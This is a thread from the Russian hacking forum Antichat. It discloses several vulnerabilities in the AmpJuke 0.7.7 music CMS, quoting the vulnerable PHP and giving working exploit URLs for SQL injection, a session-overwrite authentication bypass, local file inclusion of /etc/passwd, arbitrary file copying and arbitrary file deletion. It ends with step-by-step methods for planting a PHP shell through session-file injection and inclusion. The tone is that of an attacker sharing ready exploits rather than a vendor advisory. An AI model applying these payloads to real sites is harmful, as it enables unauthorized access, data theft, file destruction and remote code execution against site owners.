Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости AmpJuke 0.7.7(latest version) (https://forum.antichat.xyz/showthread.php?t=117804)

Iceangel_ 26.04.2009 13:54

Уязвимости AmpJuke 0.7.7(latest version)
 
Уязвимости AmpJuke 0.7.7(latest version)

download: http://www.ampjuke.org/ampjuke-0.7.7.tar.gz


Предисловие:
На предыдущие версии движка, в паблике валяется только одна sql-инъекция... Ну посмотрим, что можно сделать в новой версии =)

1) [SQL-injection]

get_lyrics.php
уязвимый код:
PHP код:

parse_str($_SERVER["QUERY_STRING"]);
require(
"db.php");
require(
"sql.php");
require(
"disp.php");

$qry="SELECT id,name,performer_id FROM track WHERE id=".$id;
$result=execute_sql($qry,0,100000,$nr); 

эксплуатирование:

Код:

get_lyrics.php?id=-1+union+select+1,version(),3--+
2) [bypass]

make_header.php
уязвимый код:
PHP код:

<?php
session_start
();
parse_str($_SERVER["QUERY_STRING"]); //с помощью данной функции перезапишем нужные нам значения переменных в массиве $_SESSION

$ok=0;
if (isset(
$_SESSION['login'])) { $ok++; }
if (isset(
$_SESSION['passwd'])) { $ok++; }
?>
<?php
if ($ok!=2) { 
    
session_destroy();
    include_once(
"disp.php");
    
// 0.6.3: If we need to redirect (session timeout), but we have enabled "remember me"
    // then remember the url parameters as well:
    
redir("login.php?".$_SERVER["QUERY_STRING"]);
    exit;
}

эксплуатирование:
Код:

make_header.php?_SESSION[login]=<any symbols>&_SESSION[passwd]=<any symbols>


3) [LFI] (требования: magic_quotes=off )

1)make_header.php
уязвимый код:
PHP код:

$ret.=get_icon($_SESSION['icon_dir'],'favorite_add',$t); //вызов функции 

disp.php
PHP код:

function get_icon($dir,$wanted_icon,$add_txt) {
    global 
$icon_array;
     
// DEFAULT: return what we had until version 0.7.0: The small "mnu_arr.gif":
    
$ret='<img src="./ampjukeicons/mnu_arr.gif" border="0">';
    
$icon='';
    
$is_already_read=0;
    
    
// 0.7.3: Did we read this icon from disk previously ?
    
if (array_key_exists($wanted_icon,$icon_array)) {
        
$ret=$icon_array[$wanted_icon];
        
$is_already_read=1;
    }    

    if (
$is_already_read==0) {
        if ((
file_exists('./ampjukeicons/'.$dir.'/icon_index.php')) &&
            (
is_readable('./ampjukeicons/'.$dir.'/icon_index.php'))) {
            include(
'./ampjukeicons/'.$dir.'/icon_index.php');       //сам инклуд 

эксплуатирование:
Код:

make_header.php?_SESSION[login]=admin&_SESSION[passwd]=1222&_SESSION[icon_dir]=../../../../../../../etc/passwd%00
2)now_playing.php
уязвимый код
PHP код:


switch($_REQUEST['action']) {
     case 
'ampjuke_now_playing'
        echo 
"ampjuke_now_playing|";
        if (
file_exists('./tmp/np'.$_REQUEST['user_id'].'.txt')) {
            include(
'./tmp/np'.$_REQUEST['user_id'].'.txt'); 

эксплуатирование:
Код:

now_playing.php?action=ampjuke_now_playing&user_id=/../../../../../../etc/passwd%00


4) [Произвольное копирование файлов] (требования: magic_quotes=off)

amazon4.php
уязвимый код:
PHP код:

function ampjuke_save_cover($cover,$amazon_string) {
    
$handle=fopen($cover,"r");
    
$out_handle=fopen('./covers/'.$amazon_string.'.jpg'"w");
    while (!
feof($handle)) {
        
$data=fread($handle,4096);
        
fwrite($out_handle,$data);
    }
    
fclose($handle);
    
fclose($out_handle);
}


if (
file_exists('./covers/'.$amazon_string.'.jpg')) { 
    
ampjuke_save_cover('./covers/'.$amazon_string.'.jpg',$amazon_album_id); 
    if (
is_writable('./covers/'.$amazon_string.'.jpg')) { // get rid of 'old' cover ("name.jpg"):
        
unlink('./covers/'.$amazon_string.'.jpg');
    }


эксплуатирование:
У уязвимости есть особенность, файл откуда производилось чтение, удаляется, так что осторожней с этой багой :)

Код:

amazon/amazon4.php?amazon_string=../../../../../../../../../../etc/passwd%00&amazon_album_id=../result.php%00



5) [Произвольное удаление файлов] (требования: magic_quotes=off)

loginvalidate.php
уязвимый код:
PHP код:

if ((!isset($_POST['uuid'])) || (!file_exists($_POST['uuid']))) {
    echo 
'Sorry. Cannot validate username+password. Please <a href="login.php">login again</a>';
    die();
}    
@
unlink($_POST['uuid']); 

эксплуатирование:
Если мы совсем уж вредные какеры, и нас хлебом не корми, дай что-нибудь удалить, то в POST-пакете отправляем скрипту uuid=index.php




[Загрузка шелла]

1) через сессии (общеизвестный, впринципе, способ)
Код:

make_header.php?_SESSION[login]=1222&_SESSION[passwd]=1222&_SESSION[shell]=<?php phpinfo(); ?>
и затем инклудим
Код:

now_playing.php?action=ampjuke_now_playing&user_id=/../../../../../../../../../../tmp/sess_<идентификатор сессии>%00
2) правка конфига sitecfg.php(требуется доступ в админ-панель)
дописываем к любому параметру "; phpinfo(); //
код запишется в db.php

3) через копирование файлов
заносим наш злой код в файл сессии
Код:

make_header.php?_SESSION[login]=1222&_SESSION[passwd]=1222&_SESSION[shell]=<?php phpinfo(); ?>
и копируем файл сессии в папку с сайтом
Код:

/amazon/amazon5.php?amazon_string=../../../../../../../../../../tmp/sess_<идентификатор сессии>&amazon_album_id=../shell.php%00


Время: 02:27